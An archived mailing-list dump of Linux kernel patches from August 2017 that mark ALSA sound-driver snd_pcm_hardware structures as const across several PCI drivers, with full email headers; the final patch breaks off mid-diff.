X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 13/16] ALSA: rme9652: make snd_pcm_hardware const
Date: Sat, 12 Aug 2017 21:01:25 +0530
Lines: 57
Approved: news@gmane.org
Message-ID: <1502551888-30325-14-git-send-email-bhumirks@gmail.com>
References: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502552010 18998 195.159.176.226 (12 Aug 2017 15:33:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 15:33:30 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, T-Bone@parisc-linux.org, perex@perex.cz,
        tiwai@suse.com, clemens@ladisch.de, jayakumar.alsa@gmail.com,
        linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 12 17:33:26 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dgYPm-0004Dq-41
	for glk-linux-kernel-3@m.gmane.org; Sat, 12 Aug 2017 17:33:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752556AbdHLPda (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 12 Aug 2017 11:33:30 -0400
Original-Received: from mail-pg0-f65.google.com ([74.125.83.65]:33881 "EHLO
        mail-pg0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751494AbdHLPd2 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 12 Aug 2017 11:33:28 -0400
Original-Received: by mail-pg0-f65.google.com with SMTP id y192so5360866pgd.1;
        Sat, 12 Aug 2017 08:33:27 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=BqClVihX1G7iaeBiZUOFLD+MkTSgDHbq6UTTJ+Mp9i0=;
        b=qEji4me8uuQeLJCjmZOghXnxBeM1TskacjJLMTshkVW2gc82mwr2nrTxeORjadzgOi
         gbbohBwI225qF9i7GRbR0HbFNltv3Vxk4TJUbwSnx0hVCpv999ZmcnvN9LbtQXSS+R1s
         UJO0lm7xZaii+r6iIx6cJbA4dw5IpJIFhIYuZvJ8GbtWkLUXzNjieFUX849yKWDhxYaI
         42/HK79HHOKDdNtfrKwT+bcOlhIVNQnJY8tZqDc1PrslVvSJdIi3iP0fN5AbXIf/CBaZ
         1h+40E1YAJ5enVL1jSJeqj4TmAjomTHWyEMxYjwswEl4M0TLH5r7M2/NzXihbThND2If
         stBg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=BqClVihX1G7iaeBiZUOFLD+MkTSgDHbq6UTTJ+Mp9i0=;
        b=r1BPcgqsadLg/7YAKNkC/EvkOHFGYTOEkxHDKggzyDNEKkgozLbWt3S2Z11y1IbL2I
         ns4zRDNIlR01ox6jJ5cYJVhpJkYiXoNaoraNlIHBb+gZzHLNWACOuKpYXw9sFhDsY4t0
         jmsfXGjGDDBAlb4huE+ouktQ1T/eIQ5EuuRgkuyCDVxvNBziMOMNEZ2YfQkvqRvdtdF/
         G/EPaveQu/A35YDqEVPdC3cjCVHlnIiAgo66nT2n1nGwf7druaAaKd7Y7tYvjfr8R7T8
         rcvtMH2OqH7H3lh2tP/XckG6zJUcNz1kVTrwbm2RuarEmYT5tsrxwtnFmUBPbiG74fBS
         g+OQ==
X-Gm-Message-State: AHYfb5hyNCD70siUxq3FV66S66j4Ub9LgidKUrad6HT/kyphLAQRHSzh
        ZM/3nI/Tc8LEHw==
X-Received: by 10.99.138.65 with SMTP id y62mr18842533pgd.180.1502552007500;
        Sat, 12 Aug 2017 08:33:27 -0700 (PDT)
Original-Received: from gmail.com ([117.196.108.245])
        by smtp.gmail.com with ESMTPSA id v69sm6786966pfk.94.2017.08.12.08.33.22
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Sat, 12 Aug 2017 08:33:27 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Sat, 12 Aug 2017 21:03:19 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2547318 gmane.linux.ports.parisc:27660 gmane.linux.alsa.devel:170547
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2547318>

Make these const as they are only used during a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/pci/rme9652/hdsp.c    | 4 ++--
 sound/pci/rme9652/rme9652.c | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/sound/pci/rme9652/hdsp.c b/sound/pci/rme9652/hdsp.c
index fe36d44..9535e6a 100644
--- a/sound/pci/rme9652/hdsp.c
+++ b/sound/pci/rme9652/hdsp.c
@@ -4211,7 +4211,7 @@ static int snd_hdsp_prepare(struct snd_pcm_substream *substream)
 	return result;
 }
 
-static struct snd_pcm_hardware snd_hdsp_playback_subinfo =
+static const struct snd_pcm_hardware snd_hdsp_playback_subinfo =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP |
 				 SNDRV_PCM_INFO_MMAP_VALID |
@@ -4241,7 +4241,7 @@ static int snd_hdsp_prepare(struct snd_pcm_substream *substream)
 	.fifo_size =		0
 };
 
-static struct snd_pcm_hardware snd_hdsp_capture_subinfo =
+static const struct snd_pcm_hardware snd_hdsp_capture_subinfo =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP |
 				 SNDRV_PCM_INFO_MMAP_VALID |
diff --git a/sound/pci/rme9652/rme9652.c b/sound/pci/rme9652/rme9652.c
index 150d088..eff4993 100644
--- a/sound/pci/rme9652/rme9652.c
+++ b/sound/pci/rme9652/rme9652.c
@@ -2181,7 +2181,7 @@ static int snd_rme9652_prepare(struct snd_pcm_substream *substream)
 	return result;
 }
 
-static struct snd_pcm_hardware snd_rme9652_playback_subinfo =
+static const struct snd_pcm_hardware snd_rme9652_playback_subinfo =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP |
 				 SNDRV_PCM_INFO_MMAP_VALID |
@@ -2205,7 +2205,7 @@ static int snd_rme9652_prepare(struct snd_pcm_substream *substream)
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_rme9652_capture_subinfo =
+static const struct snd_pcm_hardware snd_rme9652_capture_subinfo =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP |
 				 SNDRV_PCM_INFO_MMAP_VALID |
-- 
1.9.1



From - Thu Nov 08 21:40:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 15/16] ALSA: ymfpci: make snd_pcm_hardware const
Date: Sat, 12 Aug 2017 21:01:27 +0530
Lines: 34
Approved: news@gmane.org
Message-ID: <1502551888-30325-16-git-send-email-bhumirks@gmail.com>
References: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502552032 23528 195.159.176.226 (12 Aug 2017 15:33:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 15:33:52 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, T-Bone@parisc-linux.org, perex@perex.cz,
        tiwai@suse.com, clemens@ladisch.de, jayakumar.alsa@gmail.com,
        linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 12 17:33:48 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dgYQ4-0005Fw-Gn
	for glk-linux-kernel-3@m.gmane.org; Sat, 12 Aug 2017 17:33:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752598AbdHLPdt (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 12 Aug 2017 11:33:49 -0400
Original-Received: from mail-pf0-f194.google.com ([209.85.192.194]:37078 "EHLO
        mail-pf0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751494AbdHLPdq (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 12 Aug 2017 11:33:46 -0400
Original-Received: by mail-pf0-f194.google.com with SMTP id p13so6004666pfd.4;
        Sat, 12 Aug 2017 08:33:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=pcq1SlecnHCJcvCPoKyVUhCRRCpzwaUs1udPlvgdW1w=;
        b=NVUgqODJHyHhCunriyZyUXCxGVmeQUey/VYelJVvMGjDafjK9KX1+xwhihwAoLmd7s
         ytJdi1MIAV8j5DWEEmZfbuL52u/DFba9Xj30jEHL91UQ43OlIO5waU3gzRV65tvb3rzO
         B9W93m2law0oy5D6XskScfY2/LJFwcEtaDGR++yo/pOfDTSaHdGh3VWvdshe8dTVsvz5
         WIeHG5PI88Zk54mljsfMPeRK8AdM7QW1kj3xouuMWz071RZJd+f41JWNLyokDAw2D39e
         KUW08VDrAXALZ8kAVwJuX/8c7HtaEPCbR+zQEO4mxzPwi4Y6BfPb34aRFIitcTlVF2m5
         PbTw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=pcq1SlecnHCJcvCPoKyVUhCRRCpzwaUs1udPlvgdW1w=;
        b=QA4YzWkZWHel6WrBBd0WKRHO5o/RAHGefT3vkscZM7muVel/sfgL+NsmAmDRikrY2G
         gRMO2XRJQECLnIBMQO2Mb0hVPQUKfKhtpdbrTi9f7KXjuiTzxXy5txFDQs3Su5EjrsPI
         nbM3E5tpKHNRfejWDpSIKuKVJ+WYyCCfX8NOROdaJ3NrRVMLtOyiWFShnKB7TYFSggB2
         qu/3Ifvzs+BGEGXUrf+uYrPpG+cSxlKW66DX5KpyErYdil3Zp9CmGZBtKLE+9uxulCJQ
         80BxFzz+5EhMHegRMvxA6XCsPWAxv7nHmXaJ4y6FuY8tovUm6gclK+bGa2+sKd7p4XJY
         IITw==
X-Gm-Message-State: AHYfb5jpFEJMKDxGw5CVyeU03tGYEizcKXAWWuO8H/S0PuNaF+HzdfC+
        ME4FJlmaK733+Q==
X-Received: by 10.99.112.76 with SMTP id a12mr18328568pgn.334.1502552025857;
        Sat, 12 Aug 2017 08:33:45 -0700 (PDT)
Original-Received: from gmail.com ([117.196.108.245])
        by smtp.gmail.com with ESMTPSA id q5sm7093177pgn.21.2017.08.12.08.33.40
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Sat, 12 Aug 2017 08:33:45 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Sat, 12 Aug 2017 21:03:36 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2547319 gmane.linux.ports.parisc:27661 gmane.linux.alsa.devel:170548
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2547319>

Make these const as they are only used during a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/pci/ymfpci/ymfpci_main.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/sound/pci/ymfpci/ymfpci_main.c b/sound/pci/ymfpci/ymfpci_main.c
index 1114166..edfd5824 100644
--- a/sound/pci/ymfpci/ymfpci_main.c
+++ b/sound/pci/ymfpci/ymfpci_main.c
@@ -845,7 +845,7 @@ static irqreturn_t snd_ymfpci_interrupt(int irq, void *dev_id)
 	return IRQ_HANDLED;
 }
 
-static struct snd_pcm_hardware snd_ymfpci_playback =
+static const struct snd_pcm_hardware snd_ymfpci_playback =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP |
 				 SNDRV_PCM_INFO_MMAP_VALID | 
@@ -867,7 +867,7 @@ static irqreturn_t snd_ymfpci_interrupt(int irq, void *dev_id)
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_ymfpci_capture =
+static const struct snd_pcm_hardware snd_ymfpci_capture =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP |
 				 SNDRV_PCM_INFO_MMAP_VALID |
-- 
1.9.1



From - Thu Nov 08 21:40:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 14/16] ALSA: trident: make snd_pcm_hardware const
Date: Sat, 12 Aug 2017 21:01:26 +0530
Lines: 61
Approved: news@gmane.org
Message-ID: <1502551888-30325-15-git-send-email-bhumirks@gmail.com>
References: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502552032 23586 195.159.176.226 (12 Aug 2017 15:33:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 15:33:52 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, T-Bone@parisc-linux.org, perex@perex.cz,
        tiwai@suse.com, clemens@ladisch.de, jayakumar.alsa@gmail.com,
        linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 12 17:33:48 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dgYPv-0005Fw-MU
	for glk-linux-kernel-3@m.gmane.org; Sat, 12 Aug 2017 17:33:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752574AbdHLPdj (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 12 Aug 2017 11:33:39 -0400
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:36822 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751494AbdHLPdg (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 12 Aug 2017 11:33:36 -0400
Original-Received: by mail-pg0-f67.google.com with SMTP id y129so5360486pgy.3;
        Sat, 12 Aug 2017 08:33:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=f5f3WGoWpyfWTElKLNZgkzNMJyOCxRbRW05bsDrcNtw=;
        b=fiN5eulzfV9vs7BwWYvmaEv5x8i37HAxdbpOg5txGOiYO4uVPB1LOEPNZAKWnRoZwN
         RjVBPrU4kKvaxHL6OadaAGxQp62IlvI/HX8HGycbocBToPxfDi3nJd94lWpqfBGX2I66
         KWzhY9f/0XzUCKdGxwn+3varWIq6SlgBQjq+riAExsi1vOgNPRt3vlay/y9onLwLLYqS
         orw5u6dRL8BLIHNgR/1JRImrSUx7hjRmh2qlQzwp5AsEkorMKCZ4VxJ6Vn2ovK0DsPsB
         hjp6lxRT48iaHtDqjRdZghi1sEwNeiPdPPqnXJFHpJ6B1s1ZlGeqBhqNyqCGWELALi+C
         RWHw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=f5f3WGoWpyfWTElKLNZgkzNMJyOCxRbRW05bsDrcNtw=;
        b=O4O9DydpYY22Zb4OCP6PfMRkUDQUz0Vd2DLpUPlifLkUt34/6tcgSGlkeDTiZC0IpL
         y2ZqZJpM8hjH7ZR2/IwNM0lXtrqLLEFdQfuO77DCo3cweeWYcxc6MaI8zwSbw7ysBHCe
         5whqXdsbI5lkda2TaOfcOCfGmPLjwwqOAT7x1AG+BYm1m9A7dRn8AWBOOup1Hyls9BFA
         WH+axosrRFcs8yP2Z9mzpvpgSOuGSQfAY02epGagbMtlJjBJ3PcdUkhg5PFOJ1NTkb6J
         ELrLfZwXGMOfHkBSXvIX2pwkZLxj7RUpogwBj6hpORKExt22qAq4yKnW+Td2LHRDuypF
         9vvQ==
X-Gm-Message-State: AHYfb5ji4uutvwSxASRggOccXSFkwWaKp6OyQCr6h0mGyb/lXOv2xMYP
        pZ5qtiEiVhxsOQ==
X-Received: by 10.99.54.138 with SMTP id d132mr18515585pga.156.1502552016279;
        Sat, 12 Aug 2017 08:33:36 -0700 (PDT)
Original-Received: from gmail.com ([117.196.108.245])
        by smtp.gmail.com with ESMTPSA id y70sm7264550pfg.93.2017.08.12.08.33.30
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Sat, 12 Aug 2017 08:33:35 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Sat, 12 Aug 2017 21:03:27 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2547320 gmane.linux.ports.parisc:27662 gmane.linux.alsa.devel:170549
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2547320>

Make these const as they are only used during a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/pci/trident/trident_main.c | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/sound/pci/trident/trident_main.c b/sound/pci/trident/trident_main.c
index 4561040..191047a 100644
--- a/sound/pci/trident/trident_main.c
+++ b/sound/pci/trident/trident_main.c
@@ -1727,7 +1727,7 @@ static snd_pcm_uframes_t snd_trident_spdif_pointer(struct snd_pcm_substream *sub
  *  Playback support device description
  */
 
-static struct snd_pcm_hardware snd_trident_playback =
+static const struct snd_pcm_hardware snd_trident_playback =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
@@ -1752,7 +1752,7 @@ static snd_pcm_uframes_t snd_trident_spdif_pointer(struct snd_pcm_substream *sub
  *  Capture support device description
  */
 
-static struct snd_pcm_hardware snd_trident_capture =
+static const struct snd_pcm_hardware snd_trident_capture =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
@@ -1777,7 +1777,7 @@ static snd_pcm_uframes_t snd_trident_spdif_pointer(struct snd_pcm_substream *sub
  *  Foldback capture support device description
  */
 
-static struct snd_pcm_hardware snd_trident_foldback =
+static const struct snd_pcm_hardware snd_trident_foldback =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
@@ -1801,7 +1801,7 @@ static snd_pcm_uframes_t snd_trident_spdif_pointer(struct snd_pcm_substream *sub
  *  SPDIF playback support device description
  */
 
-static struct snd_pcm_hardware snd_trident_spdif =
+static const struct snd_pcm_hardware snd_trident_spdif =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
@@ -1822,7 +1822,7 @@ static snd_pcm_uframes_t snd_trident_spdif_pointer(struct snd_pcm_substream *sub
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_trident_spdif_7018 =
+static const struct snd_pcm_hardware snd_trident_spdif_7018 =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
-- 
1.9.1



From - Thu Nov 08 21:40:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 16/16] ALSA: pci: make snd_pcm_hardware const
Date: Sat, 12 Aug 2017 21:01:28 +0530
Lines: 521
Approved: news@gmane.org
Message-ID: <1502551888-30325-17-git-send-email-bhumirks@gmail.com>
References: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502552047 26774 195.159.176.226 (12 Aug 2017 15:34:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 15:34:07 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, T-Bone@parisc-linux.org, perex@perex.cz,
        tiwai@suse.com, clemens@ladisch.de, jayakumar.alsa@gmail.com,
        linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 12 17:34:01 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dgYQJ-0006Ev-Dv
	for glk-linux-kernel-3@m.gmane.org; Sat, 12 Aug 2017 17:34:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752615AbdHLPd7 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 12 Aug 2017 11:33:59 -0400
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:37095 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752091AbdHLPd5 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 12 Aug 2017 11:33:57 -0400
Original-Received: by mail-pg0-f67.google.com with SMTP id 83so5360108pgb.4;
        Sat, 12 Aug 2017 08:33:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=pmbBLLLFe77ky+q0tIEaQgqpvqxagJCzl5iefEOdS7c=;
        b=GdDJ/WznRHJ2kedIjjC24eE4bw1bS3ExrytHlY9O4/vsnkj4FOIwEucEP0mpTDFk25
         7oQcLsZv1Lz1BuhyJTL6xxpTJXqYqR9+AUxokZVQzsKTroR6nmQ4Ms0YO2pc7RrJkkDz
         wjHpgDsDMjOcL2j4VroFQpJw7xkUetwX4KW8auGVDDIXnQoPTYmL4LlndoKkol9RurZY
         xiLdjXxXVtS18PD2lVaIINqESP4eMmJ+PBWgv1004PZAz/uPp/oN687g3lSA9AYW/C76
         uT5YpbkmFwDCKxSG2Kpt4pkYBB0O9SsH/4WLSf/06whTmt23gCpWrmUoDZ1m1nTq9ofc
         ovxQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=pmbBLLLFe77ky+q0tIEaQgqpvqxagJCzl5iefEOdS7c=;
        b=CcdcytMIvE4K/J4H2Pol11Zyi6RNYNi9ua3RDluw5kQCoZBbtqg/Tn7WJIwkN6lBoA
         6dyJVlwowbo82H2TvsOZO8cUDPsTpe46uPnL70ahp+isKVVQCm7LIJ2Km0FOa6CyuJV7
         oRaJm1I+wZUaCdNSrtpGEA6W0s5onlH+rrJm5lDjiXNCBghSs43nzrdW8IOJVNIojvjq
         3j3l1qc/zruMMB2S2Lo/hkpbc3M1M6baKv6okHun3bVMn4ZcbXg0GtHu7ldeCk7+SNLC
         Uj7YymsnxFCf3ym2lRLNsPzQI4VcYcRH2FkLSQTqV1QzJEtdYoY7ny8AuFls1UbyOvL7
         1B7w==
X-Gm-Message-State: AHYfb5iQUBvBWqqgysC4mRM/33dxO9ugRntGt71XDHTHAj/QdVFtVluU
        Sy8934X+rddy0g==
X-Received: by 10.84.215.206 with SMTP id g14mr21401312plj.217.1502552036129;
        Sat, 12 Aug 2017 08:33:56 -0700 (PDT)
Original-Received: from gmail.com ([117.196.108.245])
        by smtp.gmail.com with ESMTPSA id n11sm6730625pgr.76.2017.08.12.08.33.49
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Sat, 12 Aug 2017 08:33:55 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Sat, 12 Aug 2017 21:03:46 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2547321 gmane.linux.ports.parisc:27663 gmane.linux.alsa.devel:170550
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2547321>

Make these const as they are only used during a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/pci/ad1889.c        |  4 ++--
 sound/pci/als300.c        |  4 ++--
 sound/pci/als4000.c       |  4 ++--
 sound/pci/atiixp.c        |  2 +-
 sound/pci/atiixp_modem.c  |  2 +-
 sound/pci/bt87x.c         |  4 ++--
 sound/pci/cmipci.c        | 12 ++++++------
 sound/pci/cs4281.c        |  4 ++--
 sound/pci/ens1370.c       |  6 +++---
 sound/pci/es1938.c        |  4 ++--
 sound/pci/es1968.c        |  4 ++--
 sound/pci/fm801.c         |  4 ++--
 sound/pci/intel8x0.c      |  2 +-
 sound/pci/intel8x0m.c     |  2 +-
 sound/pci/maestro3.c      |  4 ++--
 sound/pci/rme32.c         |  8 ++++----
 sound/pci/rme96.c         |  8 ++++----
 sound/pci/sis7019.c       |  4 ++--
 sound/pci/sonicvibes.c    |  4 ++--
 sound/pci/via82xx.c       |  2 +-
 sound/pci/via82xx_modem.c |  2 +-
 21 files changed, 45 insertions(+), 45 deletions(-)

diff --git a/sound/pci/ad1889.c b/sound/pci/ad1889.c
index 8c36990..0bf2c04 100644
--- a/sound/pci/ad1889.c
+++ b/sound/pci/ad1889.c
@@ -283,7 +283,7 @@ struct snd_ad1889 {
 	return snd_pcm_lib_free_pages(substream);
 }
 
-static struct snd_pcm_hardware snd_ad1889_playback_hw = {
+static const struct snd_pcm_hardware snd_ad1889_playback_hw = {
 	.info = SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 		SNDRV_PCM_INFO_MMAP_VALID | SNDRV_PCM_INFO_BLOCK_TRANSFER,
 	.formats = SNDRV_PCM_FMTBIT_S16_LE,
@@ -300,7 +300,7 @@ struct snd_ad1889 {
 	/*.fifo_size = 0,*/
 };
 
-static struct snd_pcm_hardware snd_ad1889_capture_hw = {
+static const struct snd_pcm_hardware snd_ad1889_capture_hw = {
 	.info = SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 		SNDRV_PCM_INFO_MMAP_VALID | SNDRV_PCM_INFO_BLOCK_TRANSFER,
 	.formats = SNDRV_PCM_FMTBIT_S16_LE,
diff --git a/sound/pci/als300.c b/sound/pci/als300.c
index ab75601..eaa2d85 100644
--- a/sound/pci/als300.c
+++ b/sound/pci/als300.c
